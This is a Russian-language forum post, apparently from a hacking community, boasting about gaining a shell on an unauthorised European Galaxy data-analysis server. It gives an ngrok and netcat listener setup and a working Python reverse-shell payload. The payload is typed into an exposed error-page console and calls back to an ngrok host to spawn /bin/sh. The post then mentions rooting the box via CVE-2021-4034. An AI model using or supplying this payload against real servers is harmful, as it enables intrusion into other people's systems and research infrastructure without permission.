Shell on Galaxy server или как натянуть Галактику
Доброго времени суток.
Получение шелла на Galaxy server (Galaxy — это платформа с открытым исходным кодом для FAIR для анализа данных хттпс://galaxyproject.org).
Один из Galaxy серверов раскинут на python в дебрях Европы, и как оказалось, легко доступен для проникноверия. Таких на самом деле не мало...
Путем легкого петинга фаззинга (Burp в помощь или иные средства) находим ошибку, приводящую к подобному выводу:
В терминале, используя известный ngrok, делаем себе приятно (у меня нет белого IP):
Bash:
./ngrok tcp 127.0.0.1:4444
В другом окне терминала пускаем
Bash:
nc -lvp 4444
На странице с ощибкой жмем на [+] и в выподающем окне вписываем один из удобных для Вас shell'ов (в данном случае на python):
exec("import socket,subprocess\nHOST = '2.tcp.ngrok.io'\nPORT = <port>\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.connect((HOST, PORT))\nf = s.fileno()\nsubprocess.Popen('/bin/sh',stdin=f,stdout=f,stderr=f)")
Дальше двигаеемся в любом удобном для нас направлении. В данном случае root получен через [CVE-2021-4034].
Всем удачи)